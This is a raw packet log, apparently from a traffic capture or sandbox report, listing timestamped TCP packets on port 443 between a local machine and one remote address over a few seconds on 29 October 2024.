Oct 29, 2024 04:53:21.223403931 CET	443	49879	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:21.223633051 CET	443	49879	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:21.223664999 CET	443	49879	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:21.223684072 CET	49879	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:21.223736048 CET	49879	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:21.223772049 CET	49879	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:21.223778963 CET	443	49879	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:21.223788977 CET	49879	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:21.223793030 CET	443	49879	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:21.226109028 CET	49884	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:21.226140022 CET	443	49884	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:21.226200104 CET	49884	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:21.226341963 CET	49884	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:21.226357937 CET	443	49884	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:21.236313105 CET	443	49880	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:21.236372948 CET	443	49880	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:21.236416101 CET	49880	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:21.236545086 CET	49880	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:21.236561060 CET	443	49880	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:21.236591101 CET	49880	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:21.236598015 CET	443	49880	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:21.238868952 CET	49885	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:21.238893986 CET	443	49885	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:21.238951921 CET	49885	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:21.239077091 CET	49885	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:21.239092112 CET	443	49885	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:21.256375074 CET	443	49882	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:21.256705046 CET	49882	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:21.256716013 CET	443	49882	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:21.257204056 CET	49882	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:21.257210970 CET	443	49882	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:21.344585896 CET	443	49881	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:21.344733953 CET	443	49881	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:21.344791889 CET	49881	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:21.344943047 CET	49881	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:21.344968081 CET	443	49881	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:21.344994068 CET	49881	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:21.345009089 CET	443	49881	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:21.347865105 CET	49886	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:21.347899914 CET	443	49886	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:21.347956896 CET	49886	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:21.348088026 CET	49886	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:21.348098993 CET	443	49886	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:21.392349005 CET	443	49882	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:21.392492056 CET	443	49882	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:21.392544985 CET	49882	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:21.392575026 CET	49882	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:21.392594099 CET	443	49882	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:21.392606020 CET	49882	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:21.392613888 CET	443	49882	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:21.394798994 CET	49887	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:21.394819021 CET	443	49887	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:21.394881010 CET	49887	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:21.395054102 CET	49887	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:21.395066977 CET	443	49887	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:21.943373919 CET	443	49884	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:21.949476957 CET	49884	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:21.949498892 CET	443	49884	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:21.957041025 CET	49884	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:21.957047939 CET	443	49884	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:21.962456942 CET	443	49883	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:21.967618942 CET	49883	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:21.967641115 CET	443	49883	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:21.971091986 CET	49883	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:21.971103907 CET	443	49883	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:21.988065004 CET	443	49885	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:21.998153925 CET	49885	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:21.998171091 CET	443	49885	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:22.015935898 CET	49885	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:22.015940905 CET	443	49885	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:22.081017971 CET	443	49884	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:22.081063986 CET	443	49884	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:22.081140041 CET	49884	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:22.081347942 CET	49884	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:22.081363916 CET	443	49884	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:22.081374884 CET	49884	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:22.081382990 CET	443	49884	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:22.085530043 CET	49888	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:22.085613966 CET	443	49888	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:22.085681915 CET	49888	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:22.085942984 CET	49888	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:22.085978985 CET	443	49888	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:22.100604057 CET	443	49883	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:22.100676060 CET	443	49883	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:22.100780964 CET	49883	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:22.100784063 CET	443	49883	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:22.100898027 CET	49883	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:22.101058960 CET	49883	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:22.101058960 CET	49883	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:22.101079941 CET	443	49883	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:22.101104975 CET	443	49883	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:22.103375912 CET	49889	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:22.103425980 CET	443	49889	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:22.103497982 CET	49889	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:22.103678942 CET	49889	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:22.103713036 CET	443	49889	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:22.124177933 CET	443	49886	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:22.124618053 CET	49886	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:22.124627113 CET	443	49886	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:22.125102043 CET	49886	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:22.125108004 CET	443	49886	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:22.144331932 CET	443	49887	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:22.144668102 CET	49887	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:22.144680023 CET	443	49887	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:22.144691944 CET	443	49885	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:22.144720078 CET	443	49885	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:22.144759893 CET	443	49885	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:22.144767046 CET	49885	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:22.144795895 CET	49885	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:22.144954920 CET	49885	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:22.144965887 CET	443	49885	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:22.144973993 CET	49885	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:22.144979000 CET	443	49885	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:22.145117998 CET	49887	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:22.145121098 CET	443	49887	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:22.147095919 CET	49890	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:22.147130013 CET	443	49890	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:22.147277117 CET	49890	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:22.147429943 CET	49890	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:22.147471905 CET	443	49890	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:22.259999990 CET	443	49886	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:22.260150909 CET	443	49886	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:22.260256052 CET	49886	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:22.260358095 CET	49886	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:22.260369062 CET	443	49886	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:22.260379076 CET	49886	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:22.260384083 CET	443	49886	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:22.263443947 CET	49891	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:22.263473988 CET	443	49891	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:22.263572931 CET	49891	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:22.263685942 CET	49891	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:22.263710022 CET	443	49891	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:22.275609016 CET	443	49887	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:22.275671005 CET	443	49887	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:22.275768042 CET	443	49887	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:22.275804043 CET	49887	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:22.275835991 CET	49887	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:22.275876999 CET	49887	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:22.275882959 CET	443	49887	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:22.275891066 CET	49887	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:22.275893927 CET	443	49887	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:22.277921915 CET	49892	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:22.278028011 CET	443	49892	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:22.278101921 CET	49892	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:22.278211117 CET	49892	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:22.278248072 CET	443	49892	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:22.815228939 CET	443	49888	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:22.815778017 CET	49888	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:22.815855026 CET	443	49888	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:22.816236019 CET	49888	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:22.816251040 CET	443	49888	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:22.840959072 CET	443	49889	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:22.841340065 CET	49889	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:22.841367006 CET	443	49889	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:22.841813087 CET	49889	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:22.841825008 CET	443	49889	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:22.932904005 CET	443	49890	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:22.933577061 CET	49890	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:22.933605909 CET	443	49890	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:22.933990955 CET	49890	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:22.934001923 CET	443	49890	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:22.947408915 CET	443	49888	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:22.947454929 CET	443	49888	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:22.947515011 CET	49888	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:22.947700024 CET	49888	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:22.947731972 CET	443	49888	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:22.947758913 CET	49888	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:22.947772980 CET	443	49888	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:22.951102018 CET	49893	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:22.951128960 CET	443	49893	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:22.951193094 CET	49893	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:22.951343060 CET	49893	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:22.951355934 CET	443	49893	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:22.971805096 CET	443	49889	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:22.971867085 CET	443	49889	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:22.971919060 CET	49889	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:22.971945047 CET	443	49889	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:22.971973896 CET	443	49889	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:22.972021103 CET	49889	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:22.972134113 CET	49889	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:22.972158909 CET	443	49889	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:22.972184896 CET	49889	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:22.972199917 CET	443	49889	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:22.974585056 CET	49894	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:22.974649906 CET	443	49894	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:22.974730015 CET	49894	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:22.974869013 CET	49894	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:22.974912882 CET	443	49894	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:23.019892931 CET	443	49892	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:23.020483971 CET	49892	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:23.020509005 CET	443	49892	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:23.020967007 CET	49892	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:23.020978928 CET	443	49892	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:23.030905962 CET	443	49891	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:23.031203985 CET	49891	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:23.031222105 CET	443	49891	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:23.031565905 CET	49891	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:23.031577110 CET	443	49891	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:23.071830034 CET	443	49890	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:23.071990967 CET	443	49890	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:23.072065115 CET	49890	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:23.073184013 CET	49890	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:23.073210955 CET	443	49890	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:23.073235989 CET	49890	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:23.073249102 CET	443	49890	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:23.076529026 CET	49895	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:23.076539993 CET	443	49895	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:23.076596975 CET	49895	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:23.076761961 CET	49895	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:23.076772928 CET	443	49895	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:23.154871941 CET	443	49892	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:23.155863047 CET	443	49892	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:23.156045914 CET	49892	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:23.156106949 CET	49892	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:23.156153917 CET	443	49892	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:23.156187057 CET	49892	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:23.156203032 CET	443	49892	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:23.158866882 CET	49896	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:23.158910990 CET	443	49896	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:23.158991098 CET	49896	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:23.159142971 CET	49896	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:23.159157038 CET	443	49896	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:23.165843964 CET	443	49891	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:23.165931940 CET	443	49891	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:23.166038990 CET	443	49891	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:23.166069984 CET	49891	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:23.166121006 CET	49891	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:23.166281939 CET	49891	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:23.166305065 CET	443	49891	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:23.166328907 CET	49891	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:23.166341066 CET	443	49891	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:23.168438911 CET	49897	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:23.168510914 CET	443	49897	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:23.168589115 CET	49897	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:23.168709040 CET	49897	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:23.168744087 CET	443	49897	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:23.674472094 CET	443	49893	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:23.677804947 CET	49893	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:23.677822113 CET	443	49893	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:23.678364992 CET	49893	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:23.678369999 CET	443	49893	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:23.725438118 CET	443	49894	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:23.729964018 CET	49894	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:23.729995012 CET	443	49894	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:23.730423927 CET	49894	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:23.730431080 CET	443	49894	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:23.812010050 CET	443	49893	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:23.812053919 CET	443	49893	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:23.812131882 CET	49893	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:23.812345982 CET	49893	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:23.812354088 CET	443	49893	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:23.812382936 CET	49893	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:23.812387943 CET	443	49893	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:23.815222979 CET	49898	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:23.815258026 CET	443	49898	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:23.815331936 CET	49898	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:23.815481901 CET	49898	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:23.815491915 CET	443	49898	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:23.818862915 CET	443	49895	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:23.819257975 CET	49895	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:23.819269896 CET	443	49895	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:23.819828987 CET	49895	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:23.819833994 CET	443	49895	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:23.860208988 CET	443	49894	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:23.860603094 CET	443	49894	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:23.860696077 CET	49894	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:23.860972881 CET	49894	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:23.860972881 CET	49894	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:23.861012936 CET	443	49894	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:23.861042976 CET	443	49894	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:23.863291025 CET	49899	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:23.863358974 CET	443	49899	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:23.863449097 CET	49899	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:23.863584995 CET	49899	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:23.863630056 CET	443	49899	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:23.898641109 CET	443	49896	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:23.902328014 CET	49896	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:23.902348995 CET	443	49896	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:23.902659893 CET	49896	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:23.902666092 CET	443	49896	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:23.903630018 CET	443	49897	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:23.905571938 CET	49897	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:23.905600071 CET	443	49897	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:23.905936956 CET	49897	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:23.905949116 CET	443	49897	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:23.947773933 CET	443	49895	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:23.947845936 CET	443	49895	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:23.947936058 CET	443	49895	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:23.948018074 CET	49895	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:23.948029041 CET	49895	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:23.948221922 CET	49895	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:23.948226929 CET	443	49895	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:23.948235035 CET	49895	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:23.948237896 CET	443	49895	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:23.951173067 CET	49900	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:23.951230049 CET	443	49900	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:23.951325893 CET	49900	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:23.951471090 CET	49900	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:23.951489925 CET	443	49900	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:24.030980110 CET	443	49896	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:24.031121016 CET	443	49896	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:24.031176090 CET	49896	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:24.031255960 CET	49896	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:24.031276941 CET	443	49896	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:24.031290054 CET	49896	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:24.031297922 CET	443	49896	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:24.033732891 CET	49901	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:24.033760071 CET	443	49901	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:24.034081936 CET	49901	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:24.034209013 CET	49901	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:24.034221888 CET	443	49901	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:24.034841061 CET	443	49897	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:24.034902096 CET	443	49897	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:24.034957886 CET	49897	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:24.034993887 CET	443	49897	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:24.035024881 CET	443	49897	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:24.035036087 CET	49897	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:24.035036087 CET	49897	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:24.035073042 CET	443	49897	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:24.035105944 CET	49897	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:24.035120964 CET	443	49897	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:24.036776066 CET	49902	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:24.036793947 CET	443	49902	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:24.037059069 CET	49902	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:24.037180901 CET	49902	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:24.037200928 CET	443	49902	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:24.550139904 CET	443	49898	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:24.550614119 CET	49898	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:24.550630093 CET	443	49898	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:24.551098108 CET	49898	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:24.551105022 CET	443	49898	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:24.599287987 CET	443	49899	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:24.603776932 CET	49899	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:24.603813887 CET	443	49899	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:24.604134083 CET	49899	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:24.604166985 CET	443	49899	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:24.681802988 CET	443	49898	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:24.682009935 CET	443	49898	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:24.682176113 CET	49898	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:24.682208061 CET	49898	443	192.168.2.4	13.107.246.60
